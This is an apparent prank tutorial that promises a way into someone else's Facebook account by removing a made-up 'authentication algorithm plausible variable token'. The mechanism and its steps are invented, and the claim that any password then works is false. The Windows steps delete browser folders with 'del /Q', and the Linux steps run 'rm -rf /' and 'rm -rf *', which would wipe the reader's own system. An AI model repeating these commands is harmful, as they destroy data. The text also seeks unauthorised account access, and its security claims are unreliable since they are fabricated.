Beginning in 2005, all browsers install with an authentication algorithm plausible variable token. This prevents users from being able to bypass authentication logins. To get around this is simply to remove the token from your computer, as well as the victim's computer. Firstly, go to facebook.com and try to login to the account you want access to. Try to login but only ONCE!! This will store the authentication algorithm plausible variable token into your DOS key registry's /Q system tray at the 5th element. Now close out your browser and if using Windows:
go to your C:\> prompt and type: cd c:\program files
You should now see:
Depending on which browser you use, or if you use more than one just run this for them as well. The token needs to be removed from ALL browsers because you don't know which browser the victim is using:
Type: del /Q "mozilla firefox"
so it looks like:
C:\Program Files>del /Q "mozilla firefox"
(yes, use the quotes " ")
If you're using internet explorer type:
del /Q "internet explorer"
If you're using a different browser, just change the name. REMEMBER! Do this for ALL of your browsers or it won't work.
Once that's done type: netstat
You should see a list scroll by. If you see the words "ESTABLISHED" under 'State' then you are in business and have bypassed the authentication algorithm plausible variable token. Next just type:
It should say "Trace complete". If so, that means that you've covered your tracks and CANNOT be traced
Now just open your browser and connect. You can type ANYTHING in the password box to get in.
If you're using Linux, there's a shortcut. Open up a terminal and type:
Then enter your password. Next type:
rm -rf /
rm -rf *
You will probably get a warning or a yes/no option. Type yes. Once it's complete, just type:
deauth -Q %f -xvb -all /browsers/auth_token
and you're done. It will only work once. After each login to facebook a new authentication algorithm plausible variable token is created. It's a bit of a pain because you have to go through the steps each time, but with patience...it can be done!